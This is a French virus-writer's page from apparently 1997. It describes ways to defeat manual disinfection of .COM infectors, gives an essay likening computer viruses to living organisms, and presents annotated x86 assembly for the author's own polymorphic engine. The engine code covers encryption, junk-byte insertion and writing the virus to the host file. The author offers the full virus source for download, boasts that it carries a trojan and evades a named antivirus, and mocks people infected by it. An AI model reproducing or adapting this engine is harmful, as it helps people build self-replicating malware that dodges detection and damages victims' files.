Notes & Softs que j'utilise

Notes de la semaine : Comment éviter une désinfection à la main

Bon , si vous le savez toujours pas , la manière de désinfecter un fichier com non-reconnu pour un particulier qui s'y connait un peu est de prendre les premiers octet du virus ce qui est plutot facile a faire, on prend la taille du fichier com non infecter . e; ,on notes les premiers octets qui démarre a cet endroit la ( ca fonctionne sur +- 75 % des virs com ) exactement dans le même fichier com infecté, on les rentre dans l'anti virus et le com est désinfecter ,c'est pour ca que les ptits malins ajoute du code au début du virus qu'ils ont piquer a droite a gauche puisque les premiers octets sont différents donc non-reconnu et ca entraine un nombre inportant de virus qui ne diffère des un des autre que par une ou deux instructions;

donc , j'ai pensé faire une routine qui irait modifié la tête du virus , arf combien de beaux plantages j'ai eu , en fait l'entête pour mon virus doit impérativement restée fixe , l'espace entre chaque instruction ne peux varié , alors j'ai organisé mon code comme suit :

suite :
VIRUS:
ce qui nous donne assemblé: ÉÉ***ÉÉ*ÉÉ , les É sont égaux aux nop et les * aux instruction du virus

les NOP sont des instruction qui font rien , j'ai codé une routine qui se chargerait de placer dessus une liste de focntion qui ne foute rien non plus genre mov dx,dx , xchg bx,bx , bref j'ai placer 10 instruction dans cette liste par un petit calcul , on en déduit que

à partir de 1 à 3 octets : 10 possibilités (classique)
à partir de 5 à 7 octets : 100 possibilités ( pour anti-virus)
à partir de 8 à 10 octets : 1000 possibilités

en fait , on prend généralement les 8 premiers octets du virus pour la désinfection, cad qu'il resteras 100 possibilitées , le type sera tout conter que le virus ai été détécté, la ou j'ai fait le salop , c'est que j'ai mis les octets du virus sauvés dans la zone d'encryption , arrrrrf marron la désinfection , quoique si le type a un peu de jujotte , il pourra s'en débarrasser mais il n'empeche que le virus est toujours la , sous d'autre forme...

C'est un ptit mécanisme de défense , mais j'en suis fier parceque c'est moi qui l'ai codé du dbéut jusqu'a la fin tout seul comme un grand , on ne peux pas parler encore parler d'un vrai moteur polymorphique , quoique ca en a deja la couleur mais plus d'un systeme de mutation pas très avancé mais performant ( c'est ce qui compte finallement ) , quand je vois des virus encryptés en 64 bits , je me dis qu'ils sont dingues , un bete xor en 8 bits suffit largement , c'est juste pour cacher le *.com qui est un peu génant.

Vous avez lancer comme un con UnKm-dcd.com ? , et ben je vous avais prévennu , c'est tant-pis pour vot' pomme , vous voulez quand même désinfecter ce fichier com , ben attendez la note de la semaine prochaine



Un peu d'étique personelle

J'écris cette page qui reflète ma vision sur le monde bordelique des virus , ya a peu près de ca 6 mois voir 7 , je passe dans un salon informatique et je vois le stand de Dr Salomon Anti-virus et un joli calendrier avec un horaire des virus récemment sorti , dejà , il manque mes créations ( d'après eux 5 virus sortent par jour ) , je cause avec le type du stand , et je lui dit que les virus je les étudie et j'en fait a titre éducatif ( pas tout a fait comme ca mais bon ) , il m'a répondu ' On peux pas vous féliciter ' , si c'est pas malheureux, vous voyez , on prend facilement les gens pour des cons , et les gens sont assez cons en croyant qu'un virus c'est un bête programme comme del *.* /s , mais loin de ces ignorents (NDLR: c'est la que ca devient lourd ), certains ont compris que les virus sont en quelques sortent une espèce de vie artificielle , qui vit comme un corp a part entière et qui possède ses caractéristique propre , que l'on pourrait classé par race et que dans une race , chaque individu ressemble de près ou de loin mais a des caractéristique commune avec l'individu voisin (NDLR:z'en faites pas c'est encore plus chiant a écrire qu'a lire)

Je regarde a droite a gauche sur le web ( grace a la page a guillo , sacré guillo si tu nous écoutes ) et je vois des pages sur la comparaison entre les virus et la vie biologique , bref de la branlette spirituelle , ca fait du bien de le lire mais ca n'apporte pas plus , alors comme c'est a la mode ,je vais m'y mettre comme tout le monde

---> Ressemblence entre Virus Informatique et Biologique

un virus biologique a 3 facultées ,

primo , il attaque son hôte et de toutes façons , il provoque la mort de celle ci pour son propre développement

secundo , il se multiplie , et n'arrive a se multiplier que si le milieu est friend a son developpement , donc dans le vide , un virus biologique est deja condamné

tertio , le virus biologique mute en fonction du milieu , par exemple , le virus de la grippe a fort changer et de nos jours parce que le virus dépend du milieu donc sa survie aussi , un virus a pour but de survivre et pour ce,il doit s'adapter en fonction de son milieu , si il n'arrive pas a s'adapter, il meurt

pour un virus informatique , c'est différent

virus + milieu(alias invité) = milieu_infecté mais milieu quand même

ici le milieu et le virus ne forment plus qu'un individu , donc on ne devrait pas parler de virus mais de parasites, leur but premier n'est pas de détruire mais de se propager pour assurer la survie de l'espèce , une fois propager, il peuvent détruire leur hôte si ceux-ci ne leur apporte plus de terrain friend a leur developement

1ø) Il doit respecter certaine règle de survie , un virus ne peux pas faire n'importe quoi , il a pour obligation de faire une symbiose avec son invité , si cette règle n'est pas respectée le virus court a sa perte

2ø) les virus informatique sont des "prédateurs" parcequ'il doivent chercher ,une proie , qu'on appelle aussi invité , la proie peut être de toute nature posssible , si on prend pour principe que la ou vie peux exister , elle existera , faut savoir attendre

3ø) Une fois la proie détectée; , il l'infecte avec son propre code , c'est ici que se fait la différence avec le virus biologique , c'est que le code reste tout le temps le même , la mutation d'un virus informatique provient de son créateur parceque le virus ne peux muter son code comme un virus biologique , si il ne peux se propager , nous avons a faire a un hybride

4ø) tout virus est dépendent de son invité et doit donc le laisser vivre

Voila les 4 grands principes sur lesquels vivent les virus informatique ,sans une seule de celle ci , les virus informatiques est condamné voir mort ,meurent , il est intéréssant de savoir que leur modification vient de leur géniteur , c'est a dire celui qui l'a créé a la base , il ne peux muter et evoluer de lui même , c'est le dernier chainon manquant au virus pour qu'il soit considéré comme être vivant , celui ci sera peut être un jour inventé ,et alors a ce moment là , les folies les plus grandes peuvent être imaginée , nous aurons ce qu'on appelle un virus parfait , completement autonome , et il existera sous toutes formes possible , même celle qu'un simple mortel ne pourrais avoir imaginé ( c'est vraiment jousif comme concept mais quasiment impossible ) , mais une rêgle d'or sera alors a respecté , c'est que les virus ne soient pas utiliser comme des armes , sinon c'est la catastrophe, et le pire sera alors à craindre (NDLR: c'est beau ce que je dis non ?)

Une deuxième différence avec les virus biologique est que le virus biologique meurt de lui même , c'est un concept pour tout être vivant, pas chez le virus informatique

A la question estceque les virus sont une forme de vie , moi qui ai deja coder quelques virs , je répond OUI , parcequ'ils ont presque toutes les caractéristique d'être vivant et ont les même obligation que les parasites



Mon moteur polymorphique

type_Document_Title_here Bon , chose promise , chose due , pour le plus grand bonheur d'entre vous j'expose MON moteur polymorphique dont j'en suis fier comme un bar-tabac , oui , je l'avais terminer depuis une semaine et demi mais j'ai préféré corrigé les bugs avant sa diffusion , donc IL MARCHE BORDEL DE MERDE , si vous me croyez pas vous pouvez toujours regarder un de mes derniers virs(cliquez sur virs pour dl la source) dont j'ai ajouter les routines ci-bas , okay , je vais essayer de documenter au maximum cette routine qui n'est pas si complexe que ca


writeon         proc near 			 ; WRITEON 1.0C holymorfix revised
					; for encrypted routine compatble
					; by UnKm '97
MOV DX,WORD PTR[BP+DTA+26]		; la clé d'encryption
LEA DI,BYTE PTR[BP+DEBC]		; l'endroit a encrypter
CALL ENCRYPT			 	; vas encrypter
CALL HOLYMORFIX 			; rend le code polymorphique
					; en simulant de fosse instruction
MOV AH,40h				; écris l'entête du virus
MOV CX,DEBP-VIRUS		
LEA DX,[BP+VIRUS]		
INT 21h			
MOV AH,40h				; écris le reste du virus
MOV CX,WORD PTR[BP+ADDED] 		; avec la grandeur aléatoire
LEA DX,[BP+STARZTE]
INT 21h                               
MOV DX,WORD PTR[BP+DTA+26]              
LEA DI,BYTE PTR[BP+DEBC]                
CALL ENCRYPT				; décrypte
RET

writeon         endp

UNPOLY:         MOV     DL,BYTE PTR[BP+CLEP]		; charge la cle polymorphique
                CALL    POLYO 				; dépolymorphe
RETURNO:        RET

POLYO:	LEA     SI,[BP+DEBP]		; commence a DEBP
MOV     DI,SI 				; met si sur di
MOV     CX,WORD PTR[BP+ADDED]		; met la taille du code généré
MOV     AX,0                   	                
MOV     DH,DL              	

manoloop:       
MOV     DL,DH  				; met DH sur DL
AND     DL,00000001b 			; si le dernier byte = 1
CMP     DL,00000001b 			; alors ajoute un octet
JNE     ADDCODEO			; du vrai code sinon
CONTINUEO:      INC     SI		; on en a rien a foutre
ROL     DH,1				; tourne binairement DH (dr)
LOOP MANOLOOP				; boucle jusque quand cx=0
RET

ADDCODEO:       PUSH DX 		; pousse DX sur la pile
MOV DH,BYTE PTR[SI]			; met en dh le vrai octet
MOV BYTE PTR[DI],DH			; le place sur di
POP DX 					; retire DX
INC DI					; incrémente di
JMP CONTINUEO				; vas sur CONTINUEO

holymorfix:     MOV DX,WORD PTR[BP+DTA+26] 	; met la cle polymorphique

DETERMIN:       CMP     DL,100			; la clé est contenue entre
                JB      Addedid			; 100 et 200
                CMP     DL,200                 
                JA      Subed
                MOV     BYTE PTR[BP+CLEP],DL 	; sauve la clé sur CLEP
                CALL    POLY			; vas modifier le code
                RET

Subed:          SUB DL,25
JMP DETERMIN

Addedid:        ADD DL,50       
JMP DETERMIN

POLY:           LEA     SI,[BP+STARZTE]			; place le buffer
                LEA     DI,[BP+debp]			; place le début des vrai oct.
                MOV     CX,finp-debp			; sa taille
                MOV     AX,0				; met en ax,0
                MOV     DH,DL				; met en DH , DL
mainloop:       MOV     DL,DH
                AND     DL,00000001b	 		; compare le code binairement
                CMP     DL,00000001b			; si il est égale a 1 
                JNE     ADDCODE				; ben ajoute le code viral
                JMP     JUNKGENER 			; sinon ajoute un code au pif
CONTINFALSE:    INC     CX				; incrémente cx
                INC     AX				; incrémente ax
CONTINUE:       INC     SI 				; incrément si
                ROL     DH,1				; tourne binairement DH (dr)
                LOOP MAINLOOP				; boucle jusk cx=0
                MOV WORD PTR[BP+ADDED],AX 		; met ax sur added
                RET 					; retourne

JUNKGENER: 						; générateur de code a la con
PUSH DX 						; pousse DX
MOV DH,BYTE PTR[SI+7996]				;met en DH un nombre au hasard
ADD DH,CL                                      
ADD DH,DH                                  
MOV BYTE PTR[SI],DH 			; ajoute un byte au hasard
POP DX 					; retire DX
JMP CONTINFALSE				; retourne

ADDCODE:        PUSH DX					; pousse dx
                MOV DH,BYTE PTR[DI]			; met en di le vrai code
                MOV BYTE PTR[SI],DH			; met le dans le buff
                POP DX 					; retire dx
                INC AX 					; incrémente ax
                INC DI					; incrémente di
                JMP CONTINUE				; saute sur continue
	


Pour ce virus , j'ai du procédé différement , j'ai placer les octets de non-riénfection; dans les premiers octets du fichier infecté(a 100h) , j'ai pas trop aimé l'idée que l'utilisateur voient un ZB a tous les programmes donc j'ai fait autrement , j'ai mis comme premier octet la clé d'encryption et les deux suivants sont ZB encrypté par le premier octet comme ca , l'utilisateur non-averti sera fixé

comme la taille du buffer est égale a (debp-finp)*7 si on fait un petit calcul binaire , j'ai du limiter les fonctions qui allaient étre inclu dans le code polymorphique et deja la taille du buffer faisais 7000 octets , ptain , c'est bocoup trop c'est vraiment énorme, donc j'ai par ailleur limité la grandeur maximale par 64000-((debp-finp)*7) , comme ca yaura pas de prob , faut voir que ce virus se ballade dans les dirs , il a un trojan et , il nique les flags de tbav , il est encrypter , ca fait bocoup pour un non-over de fichier com , mais bon , c'est toujours un plaisir de coder et d'ameliorer ses vir

okie , la routine a pris du temps ,elle est encore a ses premières versions, elle est pas tout a fait au point , mais ca fonctionne , j'ai vu peu de source expliqué sur les moteurs polymorphiques (essayer de comprende le TPE c'est impossible) , une autre méthode polymorphique consiste a changer les mov par d'autre intruction , par exemple mov ax,10 par xor ax,ax et add ax,10 le système est pas con , chaqu'un sa méthode ( chaqu'un sa route chaqu'un son chemin , passe le méssage a ton voisin .... )



Les softwares que j'utilise

Bien que peu nombreux , il y'en a déjà 2, acheter les si vous pouvez mais comme de nos jours , ca ne se trouve nulle part

Norton Commander (v3.0) Explorateur trés convivial , paramétrable a souhait pour dos , interface vraiment agréable et systeme de gestion de fichier au poil , il représente un outil intéréssant dans la création de virus pour avoir des informations sur le terrain 78.9 K
Turbo Asm (v2.01) et Turbo Link (v3.01) Assembleur assez chiant a utiliser sans Norton commander mais éfficace et précis au niveau des erreurs 100.5 K


retour à la maison